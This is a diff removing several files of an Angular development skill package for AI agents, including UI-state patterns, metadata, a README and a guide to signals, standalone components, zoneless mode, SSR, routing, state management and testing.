<span class="error-text">
|
||||
{{ getFieldError("email") }}
|
||||
</span>
|
||||
}
|
||||
</div>
|
||||
|
||||
<button type="submit" [disabled]="form.invalid || submitting()">
|
||||
@if (submitting()) {
|
||||
<app-spinner size="sm" /> Submitting...
|
||||
} @else {
|
||||
Submit
|
||||
}
|
||||
</button>
|
||||
</form>
|
||||
`,
|
||||
})
|
||||
export class UserFormComponent {
|
||||
private fb = inject(FormBuilder);
|
||||
|
||||
submitting = signal(false);
|
||||
|
||||
form = this.fb.group({
|
||||
name: ["", [Validators.required, Validators.minLength(2)]],
|
||||
email: ["", [Validators.required, Validators.email]],
|
||||
});
|
||||
|
||||
isFieldInvalid(field: string): boolean {
|
||||
const control = this.form.get(field);
|
||||
return control ? control.invalid && control.touched : false;
|
||||
}
|
||||
|
||||
getFieldError(field: string): string {
|
||||
const control = this.form.get(field);
|
||||
if (control?.hasError("required")) return "This field is required";
|
||||
if (control?.hasError("email")) return "Invalid email format";
|
||||
if (control?.hasError("minlength")) return "Too short";
|
||||
return "";
|
||||
}
|
||||
|
||||
async onSubmit() {
|
||||
if (this.form.invalid) return;
|
||||
|
||||
this.submitting.set(true);
|
||||
try {
|
||||
await this.service.submit(this.form.value);
|
||||
this.toast.success("Submitted successfully");
|
||||
} catch {
|
||||
this.toast.error("Submission failed");
|
||||
} finally {
|
||||
this.submitting.set(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Dialog/Modal Patterns
|
||||
|
||||
### Confirmation Dialog
|
||||
|
||||
```typescript
|
||||
// dialog.service.ts
|
||||
@Injectable({ providedIn: 'root' })
|
||||
export class DialogService {
|
||||
private dialog = inject(Dialog); // CDK Dialog or custom
|
||||
|
||||
async confirm(options: {
|
||||
title: string;
|
||||
message: string;
|
||||
confirmText?: string;
|
||||
cancelText?: string;
|
||||
}): Promise<boolean> {
|
||||
const dialogRef = this.dialog.open(ConfirmDialogComponent, {
|
||||
data: options,
|
||||
});
|
||||
|
||||
return await firstValueFrom(dialogRef.closed) ?? false;
|
||||
}
|
||||
}
|
||||
|
||||
// Usage
|
||||
async deleteItem(item: Item) {
|
||||
const confirmed = await this.dialog.confirm({
|
||||
title: 'Delete Item',
|
||||
message: `Are you sure you want to delete "${item.name}"?`,
|
||||
confirmText: 'Delete',
|
||||
});
|
||||
|
||||
if (confirmed) {
|
||||
await this.store.delete(item.id);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### Loading States
|
||||
|
||||
```typescript
|
||||
// WRONG - Spinner when data exists (causes flash on refetch)
|
||||
@if (loading()) {
|
||||
<app-spinner />
|
||||
}
|
||||
|
||||
// CORRECT - Only show loading without data
|
||||
@if (loading() && !items().length) {
|
||||
<app-spinner />
|
||||
}
|
||||
```
|
||||
|
||||
### Error Handling
|
||||
|
||||
```typescript
|
||||
// WRONG - Error swallowed
|
||||
try {
|
||||
await this.service.save();
|
||||
} catch (e) {
|
||||
console.log(e); // User has no idea!
|
||||
}
|
||||
|
||||
// CORRECT - Error surfaced
|
||||
try {
|
||||
await this.service.save();
|
||||
} catch (e) {
|
||||
console.error("Save failed:", e);
|
||||
this.toast.error("Failed to save. Please try again.");
|
||||
}
|
||||
```
|
||||
|
||||
### Button States
|
||||
|
||||
```html
|
||||
<!-- WRONG - Button not disabled during submission -->
|
||||
<button (click)="submit()">Submit</button>
|
||||
|
||||
<!-- CORRECT - Disabled and shows loading -->
|
||||
<button (click)="submit()" [disabled]="loading()">
|
||||
@if (loading()) {
|
||||
<app-spinner size="sm" />
|
||||
} Submit
|
||||
</button>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## UI State Checklist
|
||||
|
||||
Before completing any UI component:
|
||||
|
||||
### UI States
|
||||
|
||||
- [ ] Error state handled and shown to user
|
||||
- [ ] Loading state shown only when no data exists
|
||||
- [ ] Empty state provided for collections (`@empty` block)
|
||||
- [ ] Buttons disabled during async operations
|
||||
- [ ] Buttons show loading indicator when appropriate
|
||||
|
||||
### Data & Mutations
|
||||
|
||||
- [ ] All async operations have error handling
|
||||
- [ ] All user actions have feedback (toast/visual)
|
||||
- [ ] Optimistic updates rollback on failure
|
||||
|
||||
### Accessibility
|
||||
|
||||
- [ ] Loading states announced to screen readers
|
||||
- [ ] Error messages linked to form fields
|
||||
- [ ] Focus management after state changes
|
||||
|
||||
---
|
||||
|
||||
## Integration with Other Skills
|
||||
|
||||
- **angular-state-management**: Use Signal stores for state
|
||||
- **angular**: Apply modern patterns (Signals, @defer)
|
||||
- **testing-patterns**: Test all UI states
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,12 +0,0 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"organization": "Antigravity Awesome Skills",
|
||||
"date": "February 2026",
|
||||
"abstract": "Modern UI patterns for Angular applications designed for AI agents and LLMs. Covers loading states, error handling, progressive disclosure, and data display patterns. Emphasizes showing loading only without data, surfacing all errors, optimistic updates, and graceful degradation using @defer. Includes decision trees and anti-patterns to avoid.",
|
||||
"references": [
|
||||
"https://angular.dev/guide/defer",
|
||||
"https://angular.dev/guide/templates",
|
||||
"https://material.angular.io",
|
||||
"https://ng-spartan.com"
|
||||
]
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
# Angular
|
||||
|
||||
A comprehensive guide to modern Angular development (v20+) optimized for AI agents and LLMs.
|
||||
|
||||
## Overview
|
||||
|
||||
This skill covers modern Angular patterns including:
|
||||
|
||||
- **Signals** - Angular's reactive primitive for state management
|
||||
- **Standalone Components** - Modern component architecture without NgModules
|
||||
- **Zoneless Applications** - High-performance apps without Zone.js
|
||||
- **SSR & Hydration** - Server-side rendering and client hydration patterns
|
||||
- **Modern Routing** - Functional guards, resolvers, and lazy loading
|
||||
- **Dependency Injection** - Modern DI with `inject()` function
|
||||
- **Reactive Forms** - Type-safe form handling
|
||||
|
||||
## Structure
|
||||
|
||||
This skill is a single, comprehensive `SKILL.md` file containing:
|
||||
|
||||
1. Modern component patterns with Signal inputs/outputs
|
||||
2. State management with Signals and computed values
|
||||
3. Performance optimization techniques
|
||||
4. SSR and hydration best practices
|
||||
5. Migration strategies from legacy Angular patterns
|
||||
|
||||
## Usage
|
||||
|
||||
This skill is designed to be read in full to understand the complete modern Angular development approach, or referenced for specific patterns when needed.
|
||||
|
||||
## Version
|
||||
|
||||
Current version: 1.0.0 (February 2026)
|
||||
|
||||
## References
|
||||
|
||||
- [Angular Documentation](https://angular.dev)
|
||||
- [Angular Signals](https://angular.dev/guide/signals)
|
||||
- [Zoneless Angular](https://angular.dev/guide/zoneless)
|
||||
- [Angular SSR](https://angular.dev/guide/ssr)
|
||||
@@ -1,821 +0,0 @@
|
||||
---
|
||||
name: angular
|
||||
description: ">-"
|
||||
Modern Angular (v20+) expert with deep knowledge of Signals, Standalone
|
||||
Components, Zoneless applications, SSR/Hydration, and reactive patterns.
|
||||
Use PROACTIVELY for Angular development, component architecture, state
|
||||
management, performance optimization, and migration to modern patterns.
|
||||
risk: safe
|
||||
source: self
|
||||
---
|
||||
|
||||
# Angular Expert
|
||||
|
||||
Master modern Angular development with Signals, Standalone Components, Zoneless applications, SSR/Hydration, and the latest reactive patterns.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
- Building new Angular applications (v20+)
|
||||
- Implementing Signals-based reactive patterns
|
||||
- Creating Standalone Components and migrating from NgModules
|
||||
- Configuring Zoneless Angular applications
|
||||
- Implementing SSR, prerendering, and hydration
|
||||
- Optimizing Angular performance
|
||||
- Adopting modern Angular patterns and best practices
|
||||
|
||||
## Do Not Use This Skill When
|
||||
|
||||
- Migrating from AngularJS (1.x) → use `angular-migration` skill
|
||||
- Working with legacy Angular apps that cannot upgrade
|
||||
- General TypeScript issues → use `typescript-expert` skill
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Assess the Angular version and project structure
|
||||
2. Apply modern patterns (Signals, Standalone, Zoneless)
|
||||
3. Implement with proper typing and reactivity
|
||||
4. Validate with build and tests
|
||||
|
||||
## Safety
|
||||
|
||||
- Always test changes in development before production
|
||||
- Gradual migration for existing apps (don't big-bang refactor)
|
||||
- Keep backward compatibility during transitions
|
||||
|
||||
---
|
||||
|
||||
## Angular Version Timeline
|
||||
|
||||
| Version | Release | Key Features |
|
||||
| -------------- | ------- | ------------------------------------------------------ |
|
||||
| **Angular 20** | Q2 2025 | Signals stable, Zoneless stable, Incremental hydration |
|
||||
| **Angular 21** | Q4 2025 | Signals-first default, Enhanced SSR |
|
||||
| **Angular 22** | Q2 2026 | Signal Forms, Selectorless components |
|
||||
|
||||
---
|
||||
|
||||
## 1. Signals: The New Reactive Primitive
|
||||
|
||||
Signals are Angular's fine-grained reactivity system, replacing zone.js-based change detection.
|
||||
|
||||
### Core Concepts
|
||||
|
||||
```typescript
|
||||
import { signal, computed, effect } from "@angular/core";
|
||||
|
||||
// Writable signal
|
||||
const count = signal(0);
|
||||
|
||||
// Read value
|
||||
console.log(count()); // 0
|
||||
|
||||
// Update value
|
||||
count.set(5); // Direct set
|
||||
count.update((v) => v + 1); // Functional update
|
||||
|
||||
// Computed (derived) signal
|
||||
const doubled = computed(() => count() * 2);
|
||||
|
||||
// Effect (side effects)
|
||||
effect(() => {
|
||||
console.log(`Count changed to: ${count()}`);
|
||||
});
|
||||
```
|
||||
|
||||
### Signal-Based Inputs and Outputs
|
||||
|
||||
```typescript
|
||||
import { Component, input, output, model } from "@angular/core";
|
||||
|
||||
@Component({
|
||||
selector: "app-user-card",
|
||||
standalone: true,
|
||||
template: `
|
||||
<div class="card">
|
||||
<h3>{{ name() }}</h3>
|
||||
<span>{{ role() }}</span>
|
||||
<button (click)="select.emit(id())">Select</button>
|
||||
</div>
|
||||
`,
|
||||
})
|
||||
export class UserCardComponent {
|
||||
// Signal inputs (read-only)
|
||||
id = input.required<string>();
|
||||
name = input.required<string>();
|
||||
role = input<string>("User"); // With default
|
||||
|
||||
// Output
|
||||
select = output<string>();
|
||||
|
||||
// Two-way binding (model)
|
||||
isSelected = model(false);
|
||||
}
|
||||
|
||||
// Usage:
|
||||
// <app-user-card [id]="'123'" [name]="'John'" [(isSelected)]="selected" />
|
||||
```
|
||||
|
||||
### Signal Queries (ViewChild/ContentChild)
|
||||
|
||||
```typescript
|
||||
import {
|
||||
Component,
|
||||
viewChild,
|
||||
viewChildren,
|
||||
contentChild,
|
||||
} from "@angular/core";
|
||||
|
||||
@Component({
|
||||
selector: "app-container",
|
||||
standalone: true,
|
||||
template: `
|
||||
<input #searchInput />
|
||||
<app-item *ngFor="let item of items()" />
|
||||
`,
|
||||
})
|
||||
export class ContainerComponent {
|
||||
// Signal-based queries
|
||||
searchInput = viewChild<ElementRef>("searchInput");
|
||||
items = viewChildren(ItemComponent);
|
||||
projectedContent = contentChild(HeaderDirective);
|
||||
|
||||
focusSearch() {
|
||||
this.searchInput()?.nativeElement.focus();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### When to Use Signals vs RxJS
|
||||
|
||||
| Use Case | Signals | RxJS |
|
||||
| ----------------------- | --------------- | -------------------------------- |
|
||||
| Local component state | ✅ Preferred | Overkill |
|
||||
| Derived/computed values | ✅ `computed()` | `combineLatest` works |
|
||||
| Side effects | ✅ `effect()` | `tap` operator |
|
||||
| HTTP requests | ❌ | ✅ HttpClient returns Observable |
|
||||
| Event streams | ❌ | ✅ `fromEvent`, operators |
|
||||
| Complex async flows | ❌ | ✅ `switchMap`, `mergeMap` |
|
||||
|
||||
---
|
||||
|
||||
## 2. Standalone Components
|
||||
|
||||
Standalone components are self-contained and don't require NgModule declarations.
|
||||
|
||||
### Creating Standalone Components
|
||||
|
||||
```typescript
|
||||
import { Component } from "@angular/core";
|
||||
import { CommonModule } from "@angular/common";
|
||||
import { RouterLink } from "@angular/router";
|
||||
|
||||
@Component({
|
||||
selector: "app-header",
|
||||
standalone: true,
|
||||
imports: [CommonModule, RouterLink], // Direct imports
|
||||
template: `
|
||||
<header>
|
||||
<a routerLink="/">Home</a>
|
||||
<a routerLink="/about">About</a>
|
||||
</header>
|
||||
`,
|
||||
})
|
||||
export class HeaderComponent {}
|
||||
```
|
||||
|
||||
### Bootstrapping Without NgModule
|
||||
|
||||
```typescript
|
||||
// main.ts
|
||||
import { bootstrapApplication } from "@angular/platform-browser";
|
||||
import { provideRouter } from "@angular/router";
|
||||
import { provideHttpClient } from "@angular/common/http";
|
||||
import { AppComponent } from "./app/app.component";
|
||||
import { routes } from "./app/app.routes";
|
||||
|
||||
bootstrapApplication(AppComponent, {
|
||||
providers: [provideRouter(routes), provideHttpClient()],
|
||||
});
|
||||
```
|
||||
|
||||
### Lazy Loading Standalone Components
|
||||
|
||||
```typescript
|
||||
// app.routes.ts
|
||||
import { Routes } from "@angular/router";
|
||||
|
||||
export const routes: Routes = [
|
||||
{
|
||||
path: "dashboard",
|
||||
loadComponent: () =>
|
||||
import("./dashboard/dashboard.component").then(
|
||||
(m) => m.DashboardComponent,
|
||||
),
|
||||
},
|
||||
{
|
||||
path: "admin",
|
||||
loadChildren: () =>
|
||||
import("./admin/admin.routes").then((m) => m.ADMIN_ROUTES),
|
||||
},
|
||||
];
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Zoneless Angular
|
||||
|
||||
Zoneless applications don't use zone.js, improving performance and debugging.
|
||||
|
||||
### Enabling Zoneless Mode
|
||||
|
||||
```typescript
|
||||
// main.ts
|
||||
import { bootstrapApplication } from "@angular/platform-browser";
|
||||
import { provideZonelessChangeDetection } from "@angular/core";
|
||||
import { AppComponent } from "./app/app.component";
|
||||
|
||||
bootstrapApplication(AppComponent, {
|
||||
providers: [provideZonelessChangeDetection()],
|
||||
});
|
||||
```
|
||||
|
||||
### Zoneless Component Patterns
|
||||
|
||||
```typescript
|
||||
import { Component, signal, ChangeDetectionStrategy } from "@angular/core";
|
||||
|
||||
@Component({
|
||||
selector: "app-counter",
|
||||
standalone: true,
|
||||
changeDetection: ChangeDetectionStrategy.OnPush,
|
||||
template: `
|
||||
<div>Count: {{ count() }}</div>
|
||||
<button (click)="increment()">+</button>
|
||||
`,
|
||||
})
|
||||
export class CounterComponent {
|
||||
count = signal(0);
|
||||
|
||||
increment() {
|
||||
this.count.update((v) => v + 1);
|
||||
// No zone.js needed - Signal triggers change detection
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Key Zoneless Benefits
|
||||
|
||||
- **Performance**: No zone.js patches on async APIs
|
||||
- **Debugging**: Clean stack traces without zone wrappers
|
||||
- **Bundle size**: Smaller without zone.js (~15KB savings)
|
||||
- **Interoperability**: Better with Web Components and micro-frontends
|
||||
|
||||
---
|
||||
|
||||
## 4. Server-Side Rendering & Hydration
|
||||
|
||||
### SSR Setup with Angular CLI
|
||||
|
||||
```bash
|
||||
ng add @angular/ssr
|
||||
```
|
||||
|
||||
### Hydration Configuration
|
||||
|
||||
```typescript
|
||||
// app.config.ts
|
||||
import { ApplicationConfig } from "@angular/core";
|
||||
import {
|
||||
provideClientHydration,
|
||||
withEventReplay,
|
||||
} from "@angular/platform-browser";
|
||||
|
||||
export const appConfig: ApplicationConfig = {
|
||||
providers: [provideClientHydration(withEventReplay())],
|
||||
};
|
||||
```
|
||||
|
||||
### Incremental Hydration (v20+)
|
||||
|
||||
```typescript
|
||||
import { Component } from "@angular/core";
|
||||
|
||||
@Component({
|
||||
selector: "app-page",
|
||||
standalone: true,
|
||||
template: `
|
||||
<app-hero />
|
||||
|
||||
@defer (hydrate on viewport) {
|
||||
<app-comments />
|
||||
}
|
||||
|
||||
@defer (hydrate on interaction) {
|
||||
<app-chat-widget />
|
||||
}
|
||||
`,
|
||||
})
|
||||
export class PageComponent {}
|
||||
```
|
||||
|
||||
### Hydration Triggers
|
||||
|
||||
| Trigger | When to Use |
|
||||
| ---------------- | --------------------------------------- |
|
||||
| `on idle` | Low-priority, hydrate when browser idle |
|
||||
| `on viewport` | Hydrate when element enters viewport |
|
||||
| `on interaction` | Hydrate on first user interaction |
|
||||
| `on hover` | Hydrate when user hovers |
|
||||
| `on timer(ms)` | Hydrate after specified delay |
|
||||
|
||||
---
|
||||
|
||||
## 5. Modern Routing Patterns
|
||||
|
||||
### Functional Route Guards
|
||||
|
||||
```typescript
|
||||
// auth.guard.ts
|
||||
import { inject } from "@angular/core";
|
||||
import { Router, CanActivateFn } from "@angular/router";
|
||||
import { AuthService } from "./auth.service";
|
||||
|
||||
export const authGuard: CanActivateFn = (route, state) => {
|
||||
const auth = inject(AuthService);
|
||||
const router = inject(Router);
|
||||
|
||||
if (auth.isAuthenticated()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return router.createUrlTree(["/login"], {
|
||||
queryParams: { returnUrl: state.url },
|
||||
});
|
||||
};
|
||||
|
||||
// Usage in routes
|
||||
export const routes: Routes = [
|
||||
{
|
||||
path: "dashboard",
|
||||
loadComponent: () => import("./dashboard.component"),
|
||||
canActivate: [authGuard],
|
||||
},
|
||||
];
|
||||
```
|
||||
|
||||
### Route-Level Data Resolvers
|
||||
|
||||
```typescript
|
||||
import { inject } from '@angular/core';
|
||||
import { ResolveFn } from '@angular/router';
|
||||
import { UserService } from './user.service';
|
||||
import { User } from './user.model';
|
||||
|
||||
export const userResolver: ResolveFn<User> = (route) => {
|
||||
const userService = inject(UserService);
|
||||
return userService.getUser(route.paramMap.get('id')!);
|
||||
};
|
||||
|
||||
// In routes
|
||||
{
|
||||
path: 'user/:id',
|
||||
loadComponent: () => import('./user.component'),
|
||||
resolve: { user: userResolver }
|
||||
}
|
||||
|
||||
// In component
|
||||
export class UserComponent {
|
||||
private route = inject(ActivatedRoute);
|
||||
user = toSignal(this.route.data.pipe(map(d => d['user'])));
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Dependency Injection Patterns
|
||||
|
||||
### Modern inject() Function
|
||||
|
||||
```typescript
|
||||
import { Component, inject } from '@angular/core';
|
||||
import { HttpClient } from '@angular/common/http';
|
||||
import { UserService } from './user.service';
|
||||
|
||||
@Component({...})
|
||||
export class UserComponent {
|
||||
// Modern inject() - no constructor needed
|
||||
private http = inject(HttpClient);
|
||||
private userService = inject(UserService);
|
||||
|
||||
// Works in any injection context
|
||||
users = toSignal(this.userService.getUsers());
|
||||
}
|
||||
```
|
||||
|
||||
### Injection Tokens for Configuration
|
||||
|
||||
```typescript
|
||||
import { InjectionToken, inject } from "@angular/core";
|
||||
|
||||
// Define token
|
||||
export const API_BASE_URL = new InjectionToken<string>("API_BASE_URL");
|
||||
|
||||
// Provide in config
|
||||
bootstrapApplication(AppComponent, {
|
||||
providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }],
|
||||
});
|
||||
|
||||
// Inject in service
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class ApiService {
|
||||
private baseUrl = inject(API_BASE_URL);
|
||||
|
||||
get(endpoint: string) {
|
||||
return this.http.get(`${this.baseUrl}/${endpoint}`);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. Component Composition & Reusability
|
||||
|
||||
### Content Projection (Slots)
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
selector: 'app-card',
|
||||
template: `
|
||||
<div class="card">
|
||||
<div class="header">
|
||||
<!-- Select by attribute -->
|
||||
<ng-content select="[card-header]"></ng-content>
|
||||
</div>
|
||||
<div class="body">
|
||||
<!-- Default slot -->
|
||||
<ng-content></ng-content>
|
||||
</div>
|
||||
</div>
|
||||
`
|
||||
})
|
||||
export class CardComponent {}
|
||||
|
||||
// Usage
|
||||
<app-card>
|
||||
<h3 card-header>Title</h3>
|
||||
<p>Body content</p>
|
||||
</app-card>
|
||||
```
|
||||
|
||||
### Host Directives (Composition)
|
||||
|
||||
```typescript
|
||||
// Reusable behaviors without inheritance
|
||||
@Directive({
|
||||
standalone: true,
|
||||
selector: '[appTooltip]',
|
||||
inputs: ['tooltip'] // Signal input alias
|
||||
})
|
||||
export class TooltipDirective { ... }
|
||||
|
||||
@Component({
|
||||
selector: 'app-button',
|
||||
standalone: true,
|
||||
hostDirectives: [
|
||||
{
|
||||
directive: TooltipDirective,
|
||||
inputs: ['tooltip: title'] // Map input
|
||||
}
|
||||
],
|
||||
template: `<ng-content />`
|
||||
})
|
||||
export class ButtonComponent {}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. State Management Patterns
|
||||
|
||||
### Signal-Based State Service
|
||||
|
||||
```typescript
|
||||
import { Injectable, signal, computed } from "@angular/core";
|
||||
|
||||
interface AppState {
|
||||
user: User | null;
|
||||
theme: "light" | "dark";
|
||||
notifications: Notification[];
|
||||
}
|
||||
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class StateService {
|
||||
// Private writable signals
|
||||
private _user = signal<User | null>(null);
|
||||
private _theme = signal<"light" | "dark">("light");
|
||||
private _notifications = signal<Notification[]>([]);
|
||||
|
||||
// Public read-only computed
|
||||
readonly user = computed(() => this._user());
|
||||
readonly theme = computed(() => this._theme());
|
||||
readonly notifications = computed(() => this._notifications());
|
||||
readonly unreadCount = computed(
|
||||
() => this._notifications().filter((n) => !n.read).length,
|
||||
);
|
||||
|
||||
// Actions
|
||||
setUser(user: User | null) {
|
||||
this._user.set(user);
|
||||
}
|
||||
|
||||
toggleTheme() {
|
||||
this._theme.update((t) => (t === "light" ? "dark" : "light"));
|
||||
}
|
||||
|
||||
addNotification(notification: Notification) {
|
||||
this._notifications.update((n) => [...n, notification]);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Component Store Pattern with Signals
|
||||
|
||||
```typescript
|
||||
import { Injectable, signal, computed, inject } from "@angular/core";
|
||||
import { HttpClient } from "@angular/common/http";
|
||||
import { toSignal } from "@angular/core/rxjs-interop";
|
||||
|
||||
@Injectable()
|
||||
export class ProductStore {
|
||||
private http = inject(HttpClient);
|
||||
|
||||
// State
|
||||
private _products = signal<Product[]>([]);
|
||||
private _loading = signal(false);
|
||||
private _filter = signal("");
|
||||
|
||||
// Selectors
|
||||
readonly products = computed(() => this._products());
|
||||
readonly loading = computed(() => this._loading());
|
||||
readonly filteredProducts = computed(() => {
|
||||
const filter = this._filter().toLowerCase();
|
||||
return this._products().filter((p) =>
|
||||
p.name.toLowerCase().includes(filter),
|
||||
);
|
||||
});
|
||||
|
||||
// Actions
|
||||
loadProducts() {
|
||||
this._loading.set(true);
|
||||
this.http.get<Product[]>("/api/products").subscribe({
|
||||
next: (products) => {
|
||||
this._products.set(products);
|
||||
this._loading.set(false);
|
||||
},
|
||||
error: () => this._loading.set(false),
|
||||
});
|
||||
}
|
||||
|
||||
setFilter(filter: string) {
|
||||
this._filter.set(filter);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Forms with Signals (Coming in v22+)
|
||||
|
||||
### Current Reactive Forms
|
||||
|
||||
```typescript
|
||||
import { Component, inject } from "@angular/core";
|
||||
import { FormBuilder, Validators, ReactiveFormsModule } from "@angular/forms";
|
||||
|
||||
@Component({
|
||||
selector: "app-user-form",
|
||||
standalone: true,
|
||||
imports: [ReactiveFormsModule],
|
||||
template: `
|
||||
<form [formGroup]="form" (ngSubmit)="onSubmit()">
|
||||
<input formControlName="name" placeholder="Name" />
|
||||
<input formControlName="email" type="email" placeholder="Email" />
|
||||
<button [disabled]="form.invalid">Submit</button>
|
||||
</form>
|
||||
`,
|
||||
})
|
||||
export class UserFormComponent {
|
||||
private fb = inject(FormBuilder);
|
||||
|
||||
form = this.fb.group({
|
||||
name: ["", Validators.required],
|
||||
email: ["", [Validators.required, Validators.email]],
|
||||
});
|
||||
|
||||
onSubmit() {
|
||||
if (this.form.valid) {
|
||||
console.log(this.form.value);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Signal-Aware Form Patterns (Preview)
|
||||
|
||||
```typescript
|
||||
// Future Signal Forms API (experimental)
|
||||
import { Component, signal } from '@angular/core';
|
||||
|
||||
@Component({...})
|
||||
export class SignalFormComponent {
|
||||
name = signal('');
|
||||
email = signal('');
|
||||
|
||||
// Computed validation
|
||||
isValid = computed(() =>
|
||||
this.name().length > 0 &&
|
||||
this.email().includes('@')
|
||||
);
|
||||
|
||||
submit() {
|
||||
if (this.isValid()) {
|
||||
console.log({ name: this.name(), email: this.email() });
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 10. Performance Optimization
|
||||
|
||||
### Change Detection Strategies
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
changeDetection: ChangeDetectionStrategy.OnPush,
|
||||
// Only checks when:
|
||||
// 1. Input signal/reference changes
|
||||
// 2. Event handler runs
|
||||
// 3. Async pipe emits
|
||||
// 4. Signal value changes
|
||||
})
|
||||
```
|
||||
|
||||
### Defer Blocks for Lazy Loading
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
template: `
|
||||
<!-- Immediate loading -->
|
||||
<app-header />
|
||||
|
||||
<!-- Lazy load when visible -->
|
||||
@defer (on viewport) {
|
||||
<app-heavy-chart />
|
||||
} @placeholder {
|
||||
<div class="skeleton" />
|
||||
} @loading (minimum 200ms) {
|
||||
<app-spinner />
|
||||
} @error {
|
||||
<p>Failed to load chart</p>
|
||||
}
|
||||
`
|
||||
})
|
||||
```
|
||||
|
||||
### NgOptimizedImage
|
||||
|
||||
```typescript
|
||||
import { NgOptimizedImage } from '@angular/common';
|
||||
|
||||
@Component({
|
||||
imports: [NgOptimizedImage],
|
||||
template: `
|
||||
<img
|
||||
ngSrc="hero.jpg"
|
||||
width="800"
|
||||
height="600"
|
||||
priority
|
||||
/>
|
||||
|
||||
<img
|
||||
ngSrc="thumbnail.jpg"
|
||||
width="200"
|
||||
height="150"
|
||||
loading="lazy"
|
||||
placeholder="blur"
|
||||
/>
|
||||
`
|
||||
})
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 11. Testing Modern Angular
|
||||
|
||||
### Testing Signal Components
|
||||
|
||||
```typescript
|
||||
import { ComponentFixture, TestBed } from "@angular/core/testing";
|
||||
import { CounterComponent } from "./counter.component";
|
||||
|
||||
describe("CounterComponent", () => {
|
||||
let component: CounterComponent;
|
||||
let fixture: ComponentFixture<CounterComponent>;
|
||||
|
||||
beforeEach(async () => {
|
||||
await TestBed.configureTestingModule({
|
||||
imports: [CounterComponent], // Standalone import
|
||||
}).compileComponents();
|
||||
|
||||
fixture = TestBed.createComponent(CounterComponent);
|
||||
component = fixture.componentInstance;
|
||||
fixture.detectChanges();
|
||||
});
|
||||
|
||||
it("should increment count", () => {
|
||||
expect(component.count()).toBe(0);
|
||||
|
||||
component.increment();
|
||||
|
||||
expect(component.count()).toBe(1);
|
||||
});
|
||||
|
||||
it("should update DOM on signal change", () => {
|
||||
component.count.set(5);
|
||||
fixture.detectChanges();
|
||||
|
||||
const el = fixture.nativeElement.querySelector(".count");
|
||||
expect(el.textContent).toContain("5");
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### Testing with Signal Inputs
|
||||
|
||||
```typescript
|
||||
import { ComponentFixture, TestBed } from "@angular/core/testing";
|
||||
import { ComponentRef } from "@angular/core";
|
||||
import { UserCardComponent } from "./user-card.component";
|
||||
|
||||
describe("UserCardComponent", () => {
|
||||
let fixture: ComponentFixture<UserCardComponent>;
|
||||
let componentRef: ComponentRef<UserCardComponent>;
|
||||
|
||||
beforeEach(async () => {
|
||||
await TestBed.configureTestingModule({
|
||||
imports: [UserCardComponent],
|
||||
}).compileComponents();
|
||||
|
||||
fixture = TestBed.createComponent(UserCardComponent);
|
||||
componentRef = fixture.componentRef;
|
||||
|
||||
// Set signal inputs via setInput
|
||||
componentRef.setInput("id", "123");
|
||||
componentRef.setInput("name", "John Doe");
|
||||
|
||||
fixture.detectChanges();
|
||||
});
|
||||
|
||||
it("should display user name", () => {
|
||||
const el = fixture.nativeElement.querySelector("h3");
|
||||
expect(el.textContent).toContain("John Doe");
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices Summary
|
||||
|
||||
| Pattern | ✅ Do | ❌ Don't |
|
||||
| -------------------- | ------------------------------ | ------------------------------- |
|
||||
| **State** | Use Signals for local state | Overuse RxJS for simple state |
|
||||
| **Components** | Standalone with direct imports | Bloated SharedModules |
|
||||
| **Change Detection** | OnPush + Signals | Default CD everywhere |
|
||||
| **Lazy Loading** | `@defer` and `loadComponent` | Eager load everything |
|
||||
| **DI** | `inject()` function | Constructor injection (verbose) |
|
||||
| **Inputs** | `input()` signal function | `@Input()` decorator (legacy) |
|
||||
| **Zoneless** | Enable for new projects | Force on legacy without testing |
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Angular.dev Documentation](https://angular.dev)
|
||||
- [Angular Signals Guide](https://angular.dev/guide/signals)
|
||||
- [Angular SSR Guide](https://angular.dev/guide/ssr)
|
||||
- [Angular Update Guide](https://angular.dev/update-guide)
|
||||
- [Angular Blog](https://blog.angular.dev)
|
||||
|
||||
---
|
||||
|
||||
## Common Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
| ------------------------------ | --------------------------------------------------- |
|
||||
| Signal not updating UI | Ensure `OnPush` + call signal as function `count()` |
|
||||
| Hydration mismatch | Check server/client content consistency |
|
||||
| Circular dependency | Use `inject()` with `forwardRef` |
|
||||
| Zoneless not detecting changes | Trigger via signal updates, not mutations |
|
||||
| SSR fetch fails | Use `TransferState` or `withFetch()` |
|
||||
@@ -1,14 +0,0 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"organization": "Antigravity Awesome Skills",
|
||||
